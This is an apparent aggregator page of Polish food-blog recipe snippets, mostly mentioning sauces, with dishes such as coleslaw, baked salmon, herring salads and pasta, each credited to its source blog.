bazie kapusty. Coleslaw to ta, którą opycham się najczęściej. Bardzo dobrze sprawdza się jako surówka do obiadu, ale też jako samodzielna przekąska np. do pracy. Najważniejszy jest w niej sos, który każdy może robić według własnego gustu. Pewne jest jedno - ma być go dużo, by kapusta nie była sucha. Składniki : pół białej kapusty marchew duży (400 g) kubek dobrego jogurtu

Weekendy w domu i ogrodzie
Dziki łosoś w batatach i koprze włoskim 211

próbowaliście to zachęcam do przygotowania jakiejś potrawy z takim łososiem w roli głównej. Można podawać go na wiele sposobów: piec, smażyć, gotować na parze w towarzystwie kolorowych warzyw, aromatycznych sosów itp. Jest smaczny i znacznie zdrowszy od hodowlanego, którego najlepiej omijać szerokim łukiem! Składniki na 2 porcje: 300 g filetów z dzikiego łososia 200-250 ml mleka kokosowego 1 duży

Ze smakiem i z pasją
Gruszki w białym winie. 162

dlaczego nie?), albo potraktować jako element bardziej rozbudowanego deseru. Można je podać z lodami, bitą śmietaną, mascarpone lub nawet z jako dodatek do ciasta. Syrop można zredukować do gęstego sosu i polać takim gorącym specjałem owoce. Można dodać orzechy. Można też żurawinę. Można wymyślić wiele innych sposobów, ale ich realizacja będzie trudna, bo prawdopodobnie wyjemy jednak gruszki prosto ze słoika

zadanie-gotowanie
Placki dyniowe 236

Dodać mąkę ziemniaczaną, jogurt kozi i przyprawić - wszystko niedbale zmiksować Rozgrzać olej na patelni i nakładać łyżką placki. Jedna łyżka - jeden placek. Uklepać :) Można podać z sałatą lub z sosem jogurtowo-ziołowym. Smacznego

Szczęśliwa kuchnia
Zapiekanka trzy sery z makaronem i bazylią 196

pieczemy kolejne 20-25 minut Ponieważ zapiekanka jest raczej ciężkostrawna ze względu na dużą ilość sera, podajemy ją z mieszanką sałat. Można sałaty polać oliwą z oliwek lub sosem vinegrette . Smacznego

Szczęśliwa kuchnia
Sałatka śledziowa 191

minut - niech trochę wystygną (ja studziłam przy otwartym oknie - taka pogoda teraz, że szybko wystygną) Po przestudzeniu - kroimy w kwadraciki i przekładamy do pozostałych składników - mieszamy Teraz robimy sos: majonez i jogurt naturalny przekładamy do oddzielnej miseczki, wsypujemy przyprawy i wszystko bardzo dokładnie mieszamy Przelewamy do sałatki, delikatnie mieszamy i... ZJADAMY! :) Po co kupować? Robić! I na święta będzie

Szczęśliwa kuchnia
Jak wykorzystać miąższ z pomidorów? 332

Robiłam suszone pomidory. Miałam ich 2 kg i został mi po nich miąższ, którego nie chciałam wylewać. Zrobiłam więc z niego sos, który doskonale nada się do zupy pomidorowej lub do leczo. Do pizzy jest za rzadki, więc nie polecam. Składniki: miąższ z 2 kg pomidorów 1 łyżeczka ziół prowansalskich pieprz ziołowy sól morska z chilli Miąższ miksujemy na papkę

Szczęśliwa kuchnia
Kurczak w suszonych pomidorach 182

składniki: wino, suszone pomidory, miód, zielone oliwki sok, z cytryny - doprawiamy Przykrywamy i dusimy 15 minut Po upływie tego czasu zdejmujemy pokrywkę i gotujemy ok. 5 minut do zredukowania sosu Można podać z ryżem Smacznego :) W myśl akcji

Szczęśliwa kuchnia
Kurczak pieczony z nutą cytrynową i czosnkiem 218

mocno zarumieni. Może nawet trochę w niektórych miejscach się mocno przypiec, ale to nic. Mięso w środku będzie dzięki temu soczyste i upieczone Porcjujemy nożycami do mięsa Zjadamy :) A sosu nie wylewamy, bo polewamy nim ziemniaki :) Smacznego! :) W myśl akcji

Szczęśliwa kuchnia
Szpinakowe naleśniki z nadzieniem z mięsa drobiowego 236

miąższem z pomidorów Paprykę myjemy i kroimy w małe kwadraciki Do mięsa dodajemy oliwki i pokrojona paprykę. Patelnie przykrywamy i dusimy ok. 20 minut, następnie pokrywkę zdejmujemy i redukujemy sos  Szpinak rozmrażamy na patelni na małym ogniu. Można dodać 2 łyżki gorącej wody. Po rozmrożeniu - odstawiamy Teraz naleśniki: mąkę przesypujemy do miski, dodajemy jajka, oliwę z oliwek, sól, mleko

Szczęśliwa kuchnia
Amarantuska z orzechami i mlekiem kokosowym 212

łyżeczki marmolady truskawkowej 1 garść mieszanki orzechów Oba rodzaje mleka zagotowujemy  Amarantus przesypujemy do miseczki i zalewamy mlekiem - mieszamy Dodajemy orzechy i marmoladę. Można polać dowolnym słodkim sosem, choć ja tego nie robiłam Smacznego

Szczęśliwa kuchnia
Carpaccio z buraka z sosem jogurtowym i kawałkami pieczonego indyka 227

ziemniak  pokrojony w plasterki i  upieczony w przyprawie do ziemniaków (180 stopni C, 45 minut) 1 mini sałata (ja kupuję w Lidlu), lub dowolny mix sałat Na sos: 2 łyżki posiekanej natki pietruszki 3 łyżki jogurtu naturalnego 1 łyżeczka orzeszków pini świeżo zmielony pieprz sól Ugotowanego buraka kroimy w plasterki Upieczoną pierś drobiową kroimy w plastry Sałatę mini

Szczęśliwa kuchnia
Szaszłyki drobiowe z ananasem w marynacie słodko-ostrej 212

Powrót do przeszłości... Ostatni raz mięso z owocami jadłam... 5 lat temu? Wówczas wciąż i na okrągło był kurczak w sosie z ananasem. Aż mi zbrzydł. Już nie mogłam na niego patrzeć. 5 lat przerwy to solidny kawał czasu :) Dlatego wczoraj na kolację zjadłam szaszłyki z ananasem w marynacie słodko-ostrej :) Składniki: 3 piersi z kurczaka 1 czerwona papryczka chili

Szczęśliwa kuchnia
Łosoś w sosie serowym mascarpone i makaronem tagliatelle 212

sprężynką). Przelać do dania Całość przykrywamy pokrywką i - w gotujemy na małym ogniu ok. 5 minut, a następnie zdejmujemy pokrywkę i gotujemy jeszcze 2 minuty cały czas mieszając - wówczas sos się trochę zredukuje i zagęści bez używania mąki Podajemy i zjadamy :) Smacznego

Szczęśliwa kuchnia
Wolnowar Crock-Pot recenzja. 227

były idealne! Rolady wieprzowe, przygotowałam z wieprzowiny, a zrobiłam je we wstępnej fazie jak w zrazy wołowe zawijane. Po obsmażeniu mięsa i cebuli przełożyłam wszystko do wolnowara, dodałam jeszcze sos paprykowo-warzywny i dusiłam na funkcji „high” ok. 5 godzin. Po tym czasie duszona rolada była gotowa do jedzenia. Tak przygotowane mięso jest miękkie i delikatne! Zaletą gotowania w wolnowarze

Damsko-męskie spojrzenie na kuchnię
Tarta z dynią, kurczakiem i szpinakiem. 178

Kurczaka oraz ser pokroić w kostkę. W misce wymieszać śmietanę z jajkami oraz wszystkimi przyprawami. Dodać przestudzony szpinak i wymieszać. Na ciasto wykładać kurczaka i dynię a następnie zalewamy sosem. Po wierzchu rozsypujemy kostki sera żółtego. Wkładamy do piekarnika nagrzanego do 180C i pieczemy około 40 min. do czasu aż wierzch tarty się zetnie. Smacznego

Radość kipiąca uśmiechem.
filety śledziowe w sosie warzywno-pomidorowym... 317

warzyw, wlacwodę, przyprawę w płynie, ocet, wsypać pieprz i wszystko dusić z 5 minut, co jakiś czas mieszając do większej miski wkładać porcjami filety, na nie wykładać warzywa z sosem i tak do wyczerpania składników, schować do lodówki najlepiej na całą noc do lodówki aby smaki sie "przegryzły" - smaczne śledzie do pieczywa...........SMACZNEGO

W Mojej Kuchni Lubię
Ciekawostki kulinarne: buraki 218

jeść bez ograniczeń. Oto przepisy, w których główną rolę zagrały buraki (kliknij w tytuł, aby poznać przepis): Hummus z burakami Sałatka z burakami, suszonymi morelami, prażonymi orzechami i sosem curry Kremowa zupa z buraków i czerwonej fasoli

My Chcemy Jeść
Mini hamburgery, idealne na imprezę 520

wody, sól, pieprz, majeranek, olej do smażenia. Ponadto: olej do posmarowania blachy, ciepłe mleko ( do posmarowania bułeczek ), sezam, kilka liści sałaty ( umytych i osuszonych ), 1/2 cebuli, 15 pomidorków koktajlowych, sos: 2 łyżeczki musztardy sarepskiej, 1 łyżka ketchupu pikantnego, 1 łyżka majonezu. Przygotowanie:                        Smacznego

W kuchni u Moniki
Makaron z oscypkiem 147

podsmażyłem na suchej patelni. Wlałem śmietanę, dodałem starty na wiórki ser. Wsypałem tymianek. Dusiłem kilka minut. Wymieszaj dokładnie. Doprawiłem do smaku świeżo mielonym pieprzem. Ugotowany makaron połączyłem z sosem. Delikatnie wymieszałem. Posypałem pokrojonym szczypiorkiem

R'n'G Kitchen
Sałatka z wątrobką, jabłkiem i dressingiem malinowym 222

Bardzo lubię takie sałatki czyli chrupiąca sałata, kawałki mięsa albo wątróbki a do tego jakieś owoce i dobry sos. Dzięki mieszankom sałat Fit&Easy nie muszę tracić czasu na płukanie i osuszanie sałaty bo w opakowaniu mam już oczyszczone i podzielone na mniejsze kawałki liście. Wystarczy wysypać do miski albo na talerz, dodać to co się lubi i gotowe

Smaczna Pyza
Makaron z pesto buraczkowym / Pasta with beetroot pesto 255

łyżki oliwy z oliwek, skórkę i sok z cytryny, parmezan i orzechy włoskie w pojemniku blendera i zmiksuj, dolewając co jakiś czas wody z gotowania makaronu, aż powstanie gęsty sos. Dopraw solą, pieprzem i cukrem do smaku. Wymieszaj makaron z pesto z buraków i podawaj natychmiast, posypane orzechami, tartym parmezanem i listkami buraka. Smacznego! English version Pasta with beetroot pesto

karmelowy
Śledzie wg Małgorzaty 745

koncentrat pomidorowy mieszamy, dusić przez kilka minut. Zdejmujemy z ognia dodajemy ziarnka gorczycy i suszoną żurawinę. Odstawiamy do przestudzenia.Wymoczone płaty śledzia kroimy w kawałki, układamy w misce przekładając przestudzonym sosem. Dekorujemy świeżym koperkiem. Odstawiamy do lodówki na kilka godzin . Smacznego

kgwjanczewo
Pizza z patelni bez drożdży 480

się pokuszę o wegański ser, który obklei składniki, ale w związku z tym, że już nauczyłem się jeść pizzę bez sera, to bardzo, bardzo rzadko go dodaję. Przepis na sos do pizzy Przepis na ciasto do pizzy (z piekarnika) Artykuł Pizza z patelni bez drożdży pochodzi z serwisu Blendman.pl - kuchnia roślinna

Blendman
Mini bułeczki na imprezę, nadziane serem żółtym 810

Składniki: Ciasto: 3 szklanki mąki pszennej tortowej ( 445g ), plus do podsypywania, 7g suchych drożdży, 5 łyżek oleju ( 60ml ), 220ml ciepłej wody, 1 łyżeczka soli, 1 jajko ( temp. pokojowa ). Sos majonezowo czosnkowy: 1 mała śmietana 18% lub jogurt naturalny,  4 łyżki majonezu, 1 czubata łyżka ketchupu pikantnego, 5 ząbków czosnku, sól, pieprz. Ponadto: 170g sera żółtego ( ja użyłam cheddar

W kuchni u Moniki
Schab pieczony w rękawie 343

być wędlina na kanapki, pozostawić schab w rękawie do całkowitego wystudzenia. Do schabu na ciepło z części wytopionego soku, upieczonej cebuli i jabłka bez skóry można zrobić sos. Zobacz również: Schab pieczony

Kuchcik gotuje
Domowa, złocista przyprawa do kurczaka 202

nada koloru i aromatu, a imbir, goździki i cynamon korzennej, słodkawej nuty. Przyprawa może być używana do nacierania mięsa przed pieczeniem, smażeniem lub duszeniem, może również służyć do sporządzania sosów. Możesz ją przygotować na dwa sposoby: użyć samych przypraw i pamiętać o posoleniu  mięsa lub przyprawy od razu wymieszać z solą. W następnym wpisie prosty filet z kurczaka

Gotuj zdrowo!Guten Appetit!
Filet z kurczaka w białym winie z karmelizowanymi jabłkami 212

kilka minut. Dodać żurawinę. Zawartość patelni przełożyć do kurczaka i poddusić razem przez kilka minut, by połączyć smaki. Przed podaniem filety kurczaka pokroić w plastry, ułożyć na talerzach, polać sosem i przybrać zieleniną

Gotuj zdrowo!Guten Appetit!
Tortilla 190

Knorr olej do smażenia mięsa majonez , ketchup Pokrojoną polędwicę, pierś  przyprawić przyprawą i usmażyć.Cebulkę i pomidora pokroić.Placki smarować majonezem wymieszanym z ketchupem, ułożyć warzywa, mięso, polać sosem i zawinąć

Moje domowe kucharzenie
Zapiekanka w bułce z szynką, jajkiem i pomidorkami. 215

wbijamy jajko, oprószamy solą, pieprzem i posypujemy szczypiorkiem.Układamy na blaszce. Pieczemy w temperaturze 190 stopni aż jajko się dobrze zetnie a bułka będzie chrupiąca. Podajemy z ketchupem lub sosem czosnkowym. Plastrów szynki, serka i jajek musicie mieć tyle ile planujecie zrobić bułek Smacznego

Sama słodycz i szczypta chili
Quinoa po meksykańsku 190

Uwielbiam dania inspirowane kuchnią meksykańską, musi być aromatycznie, pikantnie i treściwie :) Dziś przedstawiam quinoę z mielonym mięsem, fasolą i kukurydzą w pikantnym sosie.  Składniki: 2 - 3 szklanki ugotowanej białej quinoy 300 gram mielonej wołowiny 1/2 puszki kukurydzy (bez GMO) puszka czerwonej fasoli 1 cebula 2 - 3 ząbki czosnku 1 puszka mała koncentratu pomidorowego 3 łyżki oliwy z oliwek majeranek

Quinoa Raz!
Domowa, złocista przyprawa do kurczaka 141

nada koloru i aromatu, a imbir, goździki i cynamon korzennej, słodkawej nuty. Przyprawa może być używana do nacierania mięsa przed pieczeniem, smażeniem lub duszeniem, może również służyć do sporządzania sosów. Możesz ją przygotować na dwa sposoby: użyć samych przypraw i pamiętać o posoleniu  mięsa lub przyprawy od razu wymieszać z solą. W następnym wpisie prosty filet z kurczaka

Gotuj zdrowo!Guten Appetit!
Gulasz wieprzowy z marchewką, pieczarkami i papryką na jasnym piwie 153

Smaczny gulasz z idealnie kruchą polędwicą wieprzową, marchewką, papryką oraz pieczarkami na jasnym piwie z dodatkiem sosu pomidorowego. Proste danie do przygotowania na obiad dla całej rodziny, które świetnie komponuje się z kaszą gryczaną i ogórkiem kiszonym. Standardowe połączenie łatwo dostępnych składników w jedno, pyszne danie. Składniki (na 4 porcje): 500 gram polędwicy wieprzowej 500 gram pieczarek

Mango Papaja
Meksykańskie klopsiki z kaszy jaglanej 397

formujemy małe kuleczki, które smażymy na głębokim oleju. Gotowe meksykańskie klopsiki odsączamy na ręczniku papierowym.  Klopsiki jemy w pszennej tortilli z dodatkiem świeżych warzyw oraz z dodatkiem ulubionych sosów.  Smacznego! Maugo&Paszko

Bananowe Pole
Makaron all Arrabbiata 141

dobrze oddaje charakter tego dania. Jest popularny głównie na Sycylii i tak jak inne rdzennie włoskie dania jest prosty, szybki i składa się zaledwie z kilku składników. Tworzy go sos pomidorowy ze sporym dodatkiem ostrej papryczki. Niestety nie udało mi się kupić włoskiej ostrej papryczki, więc w przepisie jest inna. Makaron zmieniłem na inny ze względów estetycznych. Też jest smaczny

Milion Smaków
Ekspresowa fasolka po bretońsku (fasola z puszki) 201

Lubicie fasolkę po bretońsku? "Danie, które zawiera gotowaną/duszoną fasolę, sos pomidorowy i dodatki. Jest to jedno z najbardziej popularnych dań w kuchni polskiej?" (Wikipedia) Mi czasami brakuje chęci lub czasu na moczenie fasoli, dlatego tą potrawę często przyrządzam z warzyw konserwowych. Taka fasolka również jest pyszna - ale o wieleee szybsza w przygotowaniu! Polecam!   2 puszki fasolki 100g

Di gotuje
Kulinarne nowINKI - czyli warsztaty z Kawą Inka i Sebastianem Olma. 196

jego nadzorem powstawały smaczne potrawy, na bazie lub tylko doprawione kawą Inka. Jak zwykle, prace wykonywaliśmy w grupach. Trafiłam do słodkiej ekipy, przygotowującej ciasto marchewkowe z kawą Inka i sosem karmelowo-kardamonowym . Oj działo się...działo... Przepis bowiem okazał się sprawdzianem dla naszym umiejętności. W jego treść wkradły się małe chochliki, które to pozamieniały gramy na dekagramy, pomieszały cyferki

kolorowotorcikowo
Pikantna zupa z czerwoną soczewicą 177

bulionu drobiowego, warzywnego lub wody 1 szklanka suchej czerwonej soczewicy 1 łyżeczka słodkiej papryki w proszku' 1 łyżeczka curry ( lub pasta curry ) 1/3 łyżeczki chili lub łyżeczka ostrego sosu paprykowego sól, pieprz oliwa do smażenia Wykonanie: W garnku rozgrzać 2 łyżki oliwy. Na rozgrzanym tłuszczu podsmażyć  pokrojoną w kostkę cebulę oraz poszatkowany czosnek. Gdy cebula się zeszkli, wlać

kolorowotorcikowo
KULINARNE nowINKI – warsztaty z Sebastianem Olmą / #instamix 169

grzankami Smażony kalafior z morelami, kawą Inką i orzechem laskowym Łosoś z białą kaszą gryczaną w emulsji kawowej, cukinią i pesto ziołowym Ciasto marchewkowe z kawą Inką i sosem waniliowo-kardamonowym Crème brûlée z kawą Inką i pieczoną gruszką   Dania powstały w błyskawicznym tempie, by później we wspólnym gronie zajadać się nimi oblizując ze smakiem! Ps. nie sądziliśmy, żekawa

Ostra na Słodko
Pieczone udka z kurczaka z warzywami 223

udek z kurczaka -1 duża cebula -2 marchewki -2 cukinie -1 papryka   Marynata do mięsa: -5 łyżek oliwy z oliwek -2 łyżki musztardy -2 łyżki miodu -2 łyżki sosu sojowego -sok z połowy cytryny -1 łyżka pietruszki -1 łyżeczka soli -1 łyżeczka pieprzu -1 łyżeczka papryki słodkiej -1 łyżeczka tymianku -1 łyżeczka ziół prowansalskich -1 łyżeczka imbiru mielonego

Smakuj życie!
Zupa marchewkowa, czyli marchewka na zdrowie. 257

pomidorami. Jako że karoten i likofen to dwie substancje przeciwdziałające toksynom. Dodatkowo marchewka łagodzi kwasowatość pomidora i czyni go lżej strawnym. Morał: kiedy tylko możesz, dorzuć marchewkę do sosu pomidorowego. Kilka słów o przygotowaniu marchewki. Marchewkę najlepiej byłoby wyszorować szczotką lub delikatnie zdrapać  jej zewnętrzną powłoczkę. Natomiast lepiej jej nie obierać, gdyż witaminy są znajduja sie tuż  przy

MODA NA BIO
Zapiekanka z brokuła i kaszy jaglanej 363

piekarnika,posypać potartym serem i piec jeszcze 10 minut aż ser dokładnie się rozpuści. Zapiekanka wyśmienicie smakuje na ciepło i jak i na zimno. Podawać solo lub z ulubionym sosem

Kolorowa kuchnia Elki
Just Nicole: La Veganista. Wypieki. RECENZJA + KONKURS 247

Ostatni – piąty rozdział – poświęcony został wypiekom na słono. Znajdziecie tu przepis na pizzę, chleb czy też quiche. Na mojej liście do zrobienia znajduje się tarta flambee z sosem paprykowym, tarta z nadzieniem migdałowo-pomidorowym oraz tarta z burakami z dodatkiem chrzanu. Nicole Just udowadnia, że bez dodatku mleka, jajek i masła można wyczarować naprawdę coś wyjątkowego. Przepisy

Moja pasja smaku
Sałatka 230

taka pora roku nie pozwala na korzystanie ze swoich warzyw z działki..więc takie gotowe mieszanki sałat są idealnym rozwiązaniem..Do takiej mieszanki sałat wystarczy dodać kilka dodatków, jakiś sos i już mamy gotową surówkę lub sałatkę do jedzenia.. Marka Fit&Easy wprowadziła na rynek nowe opakowania, na opakowaniu - pojawił  się motyw pola i hasło

Moje domowe kucharzenie
Spaghetti z śmietanowym tuńczykiem 206

czasu i pomysłu.   Składniki: (na 4 porcje) 400g makaronu razowego spaghetti 2 łyżki oliwy z oliwek łyżka masła klarowanego 2 białe cebule ząbek czosnku 2 puszki tuńczyka w sosie własnym w kawałkach 400ml śmietanki słodkiej 12$ łyżka mąki biały pieprz, sól świeży tymianek Sposób przygotowania: Makaron gotujemy al dente w osolonej wodzie. Odcedzamy i polewamy dwoma łyżkami oliwy

Pyry na Gaz
Pad Thai 159

thai to narodowe danie Tajlandii. Jego podstawą jest makaron ryżowy smażony z jajkiem, tofu i sosem z tamaryndowca. Podaje się go przede wszystkim jako street food lub w lokalnych restauracjach. Danie zrobiło się bardzo popularne dopiero podczas drugiej wojny światowej i jest nieodłączną częścią kultury do dziś. Jako dodatek pojawia się też często szczypiorek, krewetki, kraby, czy kurczak. Obecnie można

Milion Smaków
Makaron w sosie dyniowym (z pieczonych warzyw) 197

Wystarczy max 30 min do przygotowania, smacznego, wegetariańskiego dania.  Warzywa bez obierania w piekarniku pieczemy, następnie z bulionem blenderem miksujemy, przez sito przecieramy, do smaku doprawiamy, makaron do sosu dyniowego dodajemy, serem i sezamem czarnym posypujemy. Tymianek, curry jest wyczuwalny, dzięki temu smak jest niebanalny. Danie tanie, łatwe do przygotowania i zostaje dużo czasu do odpoczywania. Składniki

Moniki Smakołyki
Wyniki konkursu "Kuchnia dla zajętych kobiet i mężczyzn" 272

makaron faktycznie można błyskawicznie przygotować dodając do niego to, co najbardziej lubimy! Książka - nagroda wędruje do Julii i Kuby, którzy przysłali przepis na makaron z kurczakiem i szpinakiem w sosie śmietanowym z serkiem feta. Połączenie smaków, które pewnie większość z Was doskonale zna, więc dlaczego ten przepis wygrywa?  Ano dlatego, że Julka pokazała w swoim wpisie, że oprócz smaku

Moje Kuchenne Rewelacje
Zielony krem z papryki 173

bulionu rosołowego   3 ziemniaki - średnie 1 pietruszka - mała 1/2 brokuła - małego 1/2 cukinii - małej 1/2 puszki zielonego groszku 2 brykiety mrożonego szpinaku 1 zielona papryka - duża 1 łyżka sosu sojowego sól cebulowa, pieprz cytrynowy, pieprz cayenne, czosnek granulowany - do smaku groszek ptysiowy od BRZEŚĆ - do posypania na talerzu Obrane ziemniaki, oskrobaną pietruszkę, cukinię wraz ze skórką oraz korzeń brokuła

Grunt to przepis!
Owocowa sałatka z jabłek, bananów i żurawiny na śniadanie 183

kilka chwil. Bomba witaminowa, zastrzyk energii i dobry początek tygodnia! Jest pyszna, to mogę Wam zagwarantować! Składniki w różnych proporcjach. Składniki banan jabłka suszona żurawina sok z cytryny sos do deserów ( lub sok) opcjonalnie prażone płatki z migdałów bazylia wiórki z czekolady u mnie różowe Jabłka i banany pokrój w plastry. Skrop sokiem z cytryny. Dodaj suszonej żurawiny

Z Kuchni Do Kuchni
Szynka w przyprawach i cebuli pieczona w rękawie. 234

wybornie. Upieczoną szynkę najlepiej odstawić na co najmniej godzinę. Jeśli przeznaczycie ją na kanapki wtedy będzie się dobrze kroiła jeśli na obiad to możecie kroić jeszcze ciepłą polana np: sosem pieczeniowym. Smacznego :)      Gotowałam z : Joasią - Grunt to przepis

Sama słodycz i szczypta chili
Zraziki z pieczarkowym nadzieniem. 156

dzisiejszy obiad przygotowywałam między innymi sos pieczarkowy i okazało się, że przesadziłam z ilością pieczarek. Trzeba było je wykorzystać i tak powstały te pyszne zraziki. SKŁADNIKI: 0,5 kg. mięsa mielonego 2-3 marchewki z rosołu 1/3 szkl. wody 1 jajko 2 bułki czerstwe namoczone w mleku i wyciśnięte 2 ząbki czosnku 2 szalotki 3 łyżki masła klarowanego bułka tarta

Kuchnia Beaty
Ryba po grecku 1252

doda ć   koncentrat pomidorowy, ke tch up,  doprawi ć do smaku solą,pieprzem,papryką i  cukrem.Wszystko razem dokładnie wymiesza ć i jeszcze chwilkę got ować . Gorącym sosem przykry ć ułożon ą na półmisku rybę. Odstawić do wystygni ęcia. Ryba najlepiej smakuje następnego dnia gdy przejdzie aromatem warzyw

Kolorowa kuchnia Elki
Warzywna pizza 169

góry przykrywamy papierem do pieczenia, przykładamy drugą blaszką i obracamy. Usuwamy spodnią blaszkę, teraz znajdującą się na górze. Usuwamy papier do pieczenia, ciasto posypujemy startą mozzarellą. Na wierzchu wylewamy sos z boczniaków. Ponownie wstawiamy do piekarnika na 10 min (180°C). Pizzę wyciągamy, posypujemy pozostałą startą mozzarellą. Zapiekamy 3-4   min w tej samej temperaturze. Przed podaniem posypujemy posiekanym

R'n'G Kitchen
Naleśniki Kebab 893

propozycja na wytrawne naleśniki, na które inspirację znalazłam w jeden z sieci naleśnikowych – Manekinie ;) W oryginale znajdziecie kapustę pekińską, kurczaka gyros, ogórka konserwowego oraz cebulkę i sos – u nas dodatkowo czerwona papryka. Z podanych składników wychodzi 10 naleśników. Naleśniki Kebab – Składniki: Naleśniki Kebab – Składniki na farsz: […] The post Naleśniki Kebab appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
DIETETYCZNY MAKARON Z ŁOSOSIEM I JARMUŻEM 226

łosoś będzie miękki. Wsypujemy żurawinę, orzechy, pokrojoną paprykę i pestki dyni, jeszcze chwilkę dusimy i gotowe. Na talerz nakładamy porcję makaronu, na to rybę z jarmużem. Polewamy powstałym sosem, dekorujemy pestkami dyni i orzechami. Smacznego

Kulinarne Fantazje Marioli
Domowe mleczne pralinki z białą czekoladą i kokosem 273

pokryć boki i dno, jest to miseczka, którą wypełnimy nadzieniem. Schłodzić do stężenia (może być w zamrażarce). Przygotować nadzienie. Białą czekoladę umieścić w garnku, dodać mleko i mieszać, aż sos będzie gładki. Następnie wsypać kokos i pokruszone herbatniki. Dokładnie wymieszać. Foremkę wyjąć z lodówki. Równomiernie rozłożyć nadzienie, dociskając mocno do dna. Schłodzić ponownie. Na koniec roztopić czekoladę gorzką i wypełnić

Chocolate Muffin Blog
Kasza manna z musem z owoców lasu 223

sporą ilość zamrożonych malin i jeżyn i stąd pomysł na ten pyszny deser lub śniadanie. Aromatyczny sos i delikatny, kremowy krem z kaszy manny, pyszny, polecam. Kasza manna z musem z owoców lasu. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Parmezan - skład, historia, produkcja 217

duma Włochów, ser produkowany w regionach: Parmy, Emilia-Romania, Bolonii, Mantua i Modeny. - Grana Padano - ser lekko słodki, posiada delikatny aromat. - Grangusto Pastissimo - ma ostry, charakterystyczny smak. Idealny do sosów i potraw włoskich. Produkując sery włoskie konsorcjum nadaje im określony kolor, określając ich stopień dojrzałości.  I tak sery: - 18 miesięczne mają kolor czerwony - 22 miesięczne mają kolor srebrny

Gotuję Testuję
INDYCZE GOLONKI Z PIEKARNIKA 234

wstawimy do piekarnika nagrzanego do 180 st. na około 1.2 h - 1.4 h . Przed wyjęciem z piekarnika na 10 minut naczynie odkrywamy, aby mięso ładnie się zrumieniło, a sos lekko odparował. Podajemy z ziemniakami jako danie obiadowe, lub na zimno np. z chrzanem czy musztardą

Walijskie Pichcenie
Dorada pieczona w soli 151

przez 20-25 minut (w zależności od wielkości ryby). Gdy ryby będą gotowe, rozbić ostrożnie solną skorupę, zdjąć skórę ryb i podawać. Moja propozycja na dodatki do ryby to sos jogurtowo-czosnkowy z koperkiem, frytki z batatów i ulubiona tahini z siemienia lnianego

Kuchnia Bon Appetit
Makaron penne z boczkiem, brukselką i cukinią 339

owsianego, który bardzo korzystnie wpływa na nasze zdrowie. Dzisiaj przedstawiam Wam przepis na makaron pełnoziarnisty penne właśnie od firmy Czaniecki z dodatkiem boczku, brukselki, pieczarek, cukinii, pora w kremowym sosie na bazie śmietanki 30 % i parmezanu. Aby zakupić te makarony zapraszam tutaj: Kup tutaj Makaron penne z boczkiem, brukselką i cukinią porcja dla 2 osób Składniki: około 140 g makaronu

Jaglusia
Sałatka z wędzonym twarogiem 214

wszystkim dlatego, żeby nie dokładać koleżankom zapachu zup, zapiekanek lub naleśników ze szpinakiem. Kombinuję więc dalej z sałatkami, ale o ile w lecie to były przede wszystkim warzywa z sosem winegret, tak teraz mi one nie podchodzą tak bardzo. Mieszam więc coś "solidniejszego", bardziej zimowego.  Ten przepis znalazłam w najnowszej książce "Kuchnia polska według Karola Okrasy", którą można otrzymać

bistro mama
Domowe hot dogi z Remuladą duńską FolWark. 244

Zapraszam dzisiaj na pyszne domowe hot dogi z kiełbaską żółtym serem i Remuladą duńską FolWark . Wszystkich zainteresowanych sosami zapraszam do Frisco.pl Składniki : Remulada duńska FolWark   2 i 1/2  szklanki m ą ki tortowej Młynomag   200 ml ciepłej wody 8 g suchych drożdży 2 łyżki oliwy   1 łyżeczka soli   1 łyżeczka cukru 6 cienkich kiełbasek

Sama słodycz i szczypta chili
Gotowana biała kapustka - smaczna i zdrowa 218

białej kapusty 2 listki laurowe 3 ziaren ziela angielskiego kilka ziarenek czarnego pieprzu  4 łyżeczki lubczyku 4 łyżeczki przecieru pomidorowego 4 łyżki śmietanki sojowej lub zwykłej śmietany do sosów 1 łyżka mąki 1 łyżka oleju o smaku chilli 6 łyżeczek suszonego koperku, lub pęczek świeżego sól Wykonanie: 1. Kapustę poszatkować, włożyć do garnka, lekko zalać wodą, tylko tyle

Mój pomysł na
Penne z pieczarkami i ciecierzycą 266

Podsmażamy na rozgrzanym oleju. 3. Dorzucamy ugotowaną ciecierzycę i zalewamy wodą. Dodajemy liść laurowy, ziela angielskie, sól oraz mielone grzyby. Te dwa ostatnie składniki możemy zastąpić kostką grzybową. 4. Sos zagęszczamy mąką wymieszaną z wodą. Doprawiamy śmietaną, sokiem z cytryny, musztardą, tymiankiem i kolorowym pieprzem. 5. Na koniec dodajemy poszatkowaną natkę pietruszki. Podajemy z makaronem penne i ewentualnie żółtym serem

Fiołkowa Kuchnia Małgorzaty
Bigos z kapusty pekińskiej 174

kiełbasie przekładamy obrane i pokrojone w kostkę pomidory. Do pomidorów dodajemy liście laurowe, ziele angielskie, pieprz mielony oraz kolendrę i kminek – mieszamy. Gdy uwolni się aromat przypraw, a sos na patelni zredukuje się – przelewamy go do garnka z kapustą. Siekamy koper i dodajemy do bigosu. Całość krótko zagotowujemy. Podajemy natychmiast. Bigos z kapusty pekińskiej jest bardzo prosty i szybki

mojewypiekiinietylko
Budapeszt – lokalne przysmaki 281

fastfood jest Langosz . Jest to placek drożdżowy smażony na głębokim tłuszczu podawany z rozmaitymi dodatkami… Langosz jest bardzo sycący i jedna porcja z dodatkiem szynki, pomidorów, sera i sosów zaspokoi głód nawet dwóch osób. Cena langosza jest bardzo przystępna i za jego bogatą wersję zapłacimy ok. 30 PLN Langosz jest także podawany w restauracjach z węgierskim gulaszem. Spróbujcie

Kulinarnyblog.pl - wiesz jak gotować!
Sosy Folwark dostępne już w sklepie internetowym na Frisco.pl 124

Sosy Folwark dostępne są już w sklepie internetowym   Frisco.pl Pasują do kanapek, dań głównych, sałatek i wielu innych dań. Nas szczególnie urzekła Remulada duńska i Dressing 100 wysp. Koniecznie spróbujcie <3 Ułatwiamy Wam dostęp do produktów...klikajcie i kosztujcie Frisco.pl

R'n'G Kitchen
Twarogowe placuszki z jabłkami i cynamonem 180

patelnię, tworząc małe placuszki. Smażyć na średnim ogniu. Jak już będą wystarczająco przesmażone to odwracamy na drugą stronę. Teraz już smażyć krócej. Podawać placuszki posypane cukrem lub polane sosem klonowym. Smacznego Thermomix , jeśli zrobicie z twarogu z kostki to miksować 1 minutę obroty 5 – nałożyć motylek, dodać białka, szczyptę soli. Ubijać czas 3 minuty, obroty 3,5, wyjąć ubite

Kuchnia Pokoleń
